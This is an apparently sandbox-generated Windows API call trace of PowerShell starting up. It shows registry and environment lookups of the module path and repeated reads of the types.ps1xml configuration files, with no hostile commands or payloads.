[0112.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acc60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.430] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0112.436] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.436] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0112.436] CoTaskMemFree (pv=0x358a80) [0112.445] CoTaskMemAlloc (cb=0xcc) returned 0x28866a0 [0112.445] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x28866a0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0112.445] CoTaskMemFree (pv=0x28866a0) [0112.445] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad388 | out: phkResult=0x1ad388*=0x32c) returned 0x0 [0112.446] RegQueryValueExW (in: hKey=0x32c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x1ad30c, lpData=0x0, lpcbData=0x1ad308*=0x0 | out: lpType=0x1ad30c*=0x2, lpData=0x0, lpcbData=0x1ad308*=0x6c) returned 0x0 [0112.446] CoTaskMemAlloc (cb=0x70) returned 0x3ac040 [0112.446] RegQueryValueExW (in: hKey=0x32c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x1ad2dc, lpData=0x3ac040, lpcbData=0x1ad2d8*=0x6c | out: lpType=0x1ad2dc*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x1ad2d8*=0x6c) returned 0x0 [0112.446] CoTaskMemFree (pv=0x3ac040) [0112.446] CoTaskMemAlloc (cb=0xcc) returned 0x28866a0 [0112.446] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x28866a0, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0112.446] CoTaskMemFree (pv=0x28866a0) [0112.446] CoTaskMemAlloc (cb=0xcc) returned 0x28866a0 [0112.446] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x28866a0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0112.446] CoTaskMemFree (pv=0x28866a0) [0112.451] RegCloseKey (hKey=0x32c) returned 0x0 [0112.452] CoTaskMemAlloc (cb=0xcc) returned 0x28866a0 [0112.452] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x28866a0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0112.452] CoTaskMemFree (pv=0x28866a0) [0112.452] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad388 | out: phkResult=0x1ad388*=0x32c) returned 0x0 [0112.452] RegQueryValueExW (in: hKey=0x32c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x1ad30c, lpData=0x0, lpcbData=0x1ad308*=0x0 | out: lpType=0x1ad30c*=0x0, lpData=0x0, lpcbData=0x1ad308*=0x0) returned 0x2 [0112.452] RegCloseKey (hKey=0x32c) returned 0x0 [0112.482] CoTaskMemAlloc (cb=0x20c) returned 0x375380 [0112.482] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x375380 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0112.485] CoTaskMemFree (pv=0x375380) [0112.485] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x1acf10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0112.485] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0112.500] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.500] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.500] CoTaskMemFree (pv=0x358a80) [0112.503] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.503] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.503] CoTaskMemFree (pv=0x358a80) [0112.515] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.515] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.515] CoTaskMemFree (pv=0x358a80) [0112.516] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.516] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.516] CoTaskMemFree (pv=0x358a80) [0112.523] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad178 | out: phkResult=0x1ad178*=0x334) returned 0x0 [0112.527] RegQueryValueExW (in: hKey=0x334, lpValueName="path", lpReserved=0x0, lpType=0x1ad18c, lpData=0x0, lpcbData=0x1ad188*=0x0 | out: lpType=0x1ad18c*=0x1, lpData=0x0, lpcbData=0x1ad188*=0x74) returned 0x0 [0112.528] RegQueryValueExW (in: hKey=0x334, lpValueName="path", lpReserved=0x0, lpType=0x1ad0fc, lpData=0x0, lpcbData=0x1ad0f8*=0x0 | out: lpType=0x1ad0fc*=0x1, lpData=0x0, lpcbData=0x1ad0f8*=0x74) returned 0x0 [0112.528] CoTaskMemAlloc (cb=0x78) returned 0x3ac040 [0112.528] RegQueryValueExW (in: hKey=0x334, lpValueName="path", lpReserved=0x0, lpType=0x1ad0cc, lpData=0x3ac040, lpcbData=0x1ad0c8*=0x74 | out: lpType=0x1ad0cc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x1ad0c8*=0x74) returned 0x0 [0112.528] CoTaskMemFree (pv=0x3ac040) [0112.528] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x1ace40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0112.529] SetErrorMode (uMode=0x1) returned 0x1 [0112.529] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x1ad050 | out: lpFileInformation=0x1ad050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0112.529] SetErrorMode (uMode=0x1) returned 0x1 [0112.531] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0112.532] SetErrorMode (uMode=0x1) returned 0x1 [0112.532] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad050 | out: lpFileInformation=0x1ad050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0112.534] SetErrorMode (uMode=0x1) returned 0x1 [0112.539] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0112.539] SetErrorMode (uMode=0x1) returned 0x1 [0112.539] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad050 | out: lpFileInformation=0x1ad050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0112.540] SetErrorMode (uMode=0x1) returned 0x1 [0112.544] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.544] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.544] CoTaskMemFree (pv=0x358a80) [0112.558] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0112.558] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.559] CoTaskMemFree (pv=0x358a80) [0112.560] GetACP () returned 0x4e4 [0112.586] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x1aca00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0112.586] SetErrorMode (uMode=0x1) returned 0x1 [0112.587] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x338 [0112.588] GetFileType (hFile=0x338) returned 0x1 [0112.589] SetErrorMode (uMode=0x1) returned 0x1 [0112.589] GetFileType (hFile=0x338) returned 0x1 [0112.590] ReadFile (in: hFile=0x338, lpBuffer=0x2eae348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2eae348*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.596] ReadFile (in: hFile=0x338, lpBuffer=0x2eae348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2eae348*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.597] ReadFile (in: hFile=0x338, lpBuffer=0x2eae348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2eae348*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.597] ReadFile (in: hFile=0x338, lpBuffer=0x2eae348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2eae348*, lpNumberOfBytesRead=0x1acf88*=0xcf3, lpOverlapped=0x0) returned 1 [0112.597] ReadFile (in: hFile=0x338, lpBuffer=0x2ead7a3, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2ead7a3*, lpNumberOfBytesRead=0x1acf88*=0x0, lpOverlapped=0x0) returned 1 [0112.597] ReadFile (in: hFile=0x338, lpBuffer=0x2eae348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2eae348*, lpNumberOfBytesRead=0x1acf88*=0x0, lpOverlapped=0x0) returned 1 [0112.600] CloseHandle (hObject=0x338) returned 1 [0112.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x1acca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0112.606] SetErrorMode (uMode=0x1) returned 0x1 [0112.606] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1acf00 | out: lpFileInformation=0x1acf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0112.606] SetErrorMode (uMode=0x1) returned 0x1 [0112.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x1acc30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0112.609] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acfe8 | out: phkResult=0x1acfe8*=0x338) returned 0x0 [0112.610] RegQueryValueExW (in: hKey=0x338, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acf6c, lpData=0x0, lpcbData=0x1acf68*=0x0 | out: lpType=0x1acf6c*=0x1, lpData=0x0, lpcbData=0x1acf68*=0x56) returned 0x0 [0112.610] CoTaskMemAlloc (cb=0x5a) returned 0x2893a50 [0112.610] RegQueryValueExW (in: hKey=0x338, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acf3c, lpData=0x2893a50, lpcbData=0x1acf38*=0x56 | out: lpType=0x1acf3c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1acf38*=0x56) returned 0x0 [0112.610] CoTaskMemFree (pv=0x2893a50) [0112.610] RegCloseKey (hKey=0x338) returned 0x0 [0112.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x1acc30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0112.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x1acae0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0112.715] GetSystemInfo (in: lpSystemInfo=0x1abc20 | out: lpSystemInfo=0x1abc20*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0112.716] VirtualQuery (in: lpAddress=0x1abcd0, lpBuffer=0x1acb90, dwLength=0x30 | out: lpBuffer=0x1acb90*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0112.745] SetErrorMode (uMode=0x1) returned 0x1 [0112.745] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x338 [0112.746] GetFileType (hFile=0x338) returned 0x1 [0112.746] SetErrorMode (uMode=0x1) returned 0x1 [0112.746] GetFileType (hFile=0x338) returned 0x1 [0112.746] ReadFile (in: hFile=0x338, lpBuffer=0x2f15508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2f15508*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.750] ReadFile (in: hFile=0x338, lpBuffer=0x2f15508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2f15508*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.750] ReadFile (in: hFile=0x338, lpBuffer=0x2f15508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2f15508*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.751] ReadFile (in: hFile=0x338, lpBuffer=0x2f15508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2f15508*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.751] ReadFile (in: hFile=0x338, lpBuffer=0x2f15508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2f15508*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.764] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.765] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.765] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.765] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.766] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.766] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.766] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.767] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.767] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.767] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.768] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.768] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.769] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.769] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.770] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.770] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.770] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.770] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.771] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.771] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.771] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.771] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.772] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.772] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.772] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.772] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.773] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.773] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.775] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.775] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 